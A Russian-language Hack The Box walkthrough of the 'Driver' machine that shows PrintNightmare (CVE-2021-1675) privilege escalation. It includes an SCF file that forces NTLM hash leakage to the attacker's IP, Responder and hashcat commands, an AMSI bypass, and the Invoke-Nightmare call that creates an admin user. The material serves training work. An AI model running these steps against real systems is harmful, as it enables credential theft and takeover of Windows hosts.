В этой статье рассмотрим эксплуатации уязвимости PrintNightmare, которая позволяет повысить привилегии в Windows с помощью бага в системе печати (CVE-2021-1675). Будем эксплуатировать уязвимость PrintNightmare на примере машины Driver с площадки Hack The Box.
Еще по теме: Эксплуатация уязвимости Microsoft Office CVE-2017-11826
Эксплуатация уязвимости PrintNightmare
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.106 driver.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Самый популярный сканер — это Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция —A).
Скрипт находит четыре открытых порта:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 445 — служба SMB;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций контроллер — контроллер и контроллер — клиент;
- 5985 — этот порт отвечает за службу удаленного управления WinRM.
Первым делом я быстренько взглянул на SMB. Моей целью было понять, что данная служба может дать. Сделать это можно командой:
1 |
smbmap -H driver.htb |
Получаем однозначный ответ:
1 |
[!] Authentication error on driver.htb |
Получается, SMB можно временн0 пропустить — без авторизации здесь искать нечего.
С WinRM на данном этапе нам может помочь только брут, а при прохождении заданий с HTB это не круто. Так что давайте смотреть веб.
Первым делом, введем популярные комбинации распространенных логинов и паролей по умолчанию. Сочетание логина и пароля admin:admin открывает главную страницу сайта.
После быстрого анализа сайта останавливаемся на странице Firmware Updates, на которой находим форму загрузки файлов.
В начале я попытался загрузить исполняемые файлы .exe, но это не принесло ровным счетом ничего. Но есть и другие форматы файлов, которые позволят выполнить определенные операции, хоть их и ограниченное количество. Один из таких форматов — SCF (shell command files).
Файлы SCF можно использовать для операций вроде «Свернуть все окна» или «Открыть проводник Windows». А еще файл SCF может использоваться для доступа к определенному пути UNC, что может привести к утечке пользовательского хеша NetNTLMv2. Это произойдет, потому что Windows попытается аутентифицироваться на этом общем ресурсе, используя имя и пароль пользователя.
Утечка хеша NTLM
Попробуем это проэксплуатировать. Сначала создадим файл SCF @test.scf со следующим содержимым ( @ позволит поместить файл вверху списка файлов в каталоге, в данном случае это необязательно).
1 2 3 4 5 |
[Shell] Command=2 IconFile=\\10.10.14.53\share\ralf.ico [Taskbar] Command=ToggleDesktop |
Данный файл должен свернуть все окна, это определяет параметр Command в директиве [Taskbar]. Но это нам не важно, так как хитрость кроется в другом: в директиве [Shell] параметр IconFile указывает UNC-путь к иконке файла. Именно это и заставит удаленный хост попытаться авторизоваться на нашем ресурсе.
Получить аутентификационные данные целевого пользователя при подключении к нашему SMB-ресурсу можно с помощью Responder. Давайте активируем наш «отлавливатель», а затем загрузим упомянутый файл.
1 |
sudo responder -I tun0 |
И получаем желанный хеш, который теперь нужно взломать. Я для этих целей обычно использую hashcat, но этой программе нужно указать тип хеша. К счастью, в справке уже все указано и нам нужно лишь найти подходящий номер. Для этого мы отображаем пример всех видов хешей и отбираем тот, где встречается NetNTLMv2.
1 |
hashcat --example | grep -A 2 -B 2 NTLM |
Мы узнаем режим: 5600. К тому же нам показывают хеш, который визуально по структуре похож на тот, что мы получили в Responder. А теперь пришло время этот хеш перебрать. Для перебора будем использовать все тот же hashcat со следующими аргументами:
- -a 0 — режим перебора, нулевой означает по словарю;
- -m [] — режим, тут указываем тип хеша, полученный ранее;
- ksven.hash — файл, в котором записан хеш или хеши;
- rockyou.txt — словарь с возможными паролями.
1 |
hashcat -a 0 -m 5600 tony.hash rockyou.txt |
В итоге hashcat очень быстро находит пароль. Мы можем сразу же проверить его в службах WinRM и SMB с помощью CrackMapExec.
1 |
crackmapexec winrm driver.htb -u tony -p liltony |
Учетные данные подошли к службе WinRM, поэтому и мы получили стабильный доступ. Для доступа заюзаем оболочку Evil-WinRM.
1 |
evil-winrm -i driver.htb -u tony -p liltony |
Локальное повышение привилегий
Мы получили флаг пользователя, так что теперь наша задача — добыть администраторские привилегии. Первым делом можно проверить информацию о системе (команда systeminfo) и о текущем пользователе ( whoami /all), а также получить список запущенных процессов (команды tasklist или ps).
В системе работает процесс службы печати spoolsv.exe. Служба Windows Print Spooler — это универсальный интерфейс между ОС, приложениями и локальными или сетевыми принтерами. Она позволяет разработчикам приложений отправлять задания на печать. Проверим ее работу через службу RPC удаленно:
1 |
rpcdump.py @driver.htb | egrep 'MS-RPRN|MS-PAR' |
На ум сразу приходит недавняя нашумевшая уязвимость CVE-2021-1675, она же PrintNightmare. Баг кроется в вызове RpcAddPrinterDriver диспетчера очереди печати Windows. Клиент использует вызов RPC для добавления драйвера на сервер, сохраняя его в локальном или удаленном каталоге SMB. После чего клиент инициализирует объект DRIVER_CONTAINER, используемый в вызове RpcAddPrinterDriver, для загрузки драйвера.
Драйвер может содержать произвольный код, который будет выполняться на сервере с правами SYSTEM. Команду может выполнить любой пользователь, прошедший аутентификацию в службе диспетчера очереди печати. Проще говоря, имея минимальные привилегии, мы можем выполнить любую DLL от имени SYSTEM.
На GitHub уже достаточно эксплоитов для этой уязвимости, реализованных на разных языках и выполняющих разные функции. К примеру, есть эксплоит, который создаст нового пользователя‑администратора. Скачаем его на локальный хост и из каталога с эксплоитом повторим подключение с помощью Evil-WinRM. Только в этот раз будем указывать параметр -s, что поможет нам легко загрузить в память скрипт на PowerShell.
1 |
evil-winrm -i driver.htb -u tony -p liltony -s . |
После подключения лучше вызвать команду menu и запатчить AMSI командой Bypass-4MSI.
Затем загружаем скрипт в память и вызываем единственную функцию Invoke-Nightmare.
1 |
Invoke-Nightmare -NewUser "ralf" -NewPassword "ralf" |
Подключаемся с учетными данными нового пользователя и забираем флаг администратора.
Машина захвачена!
Еще по теме: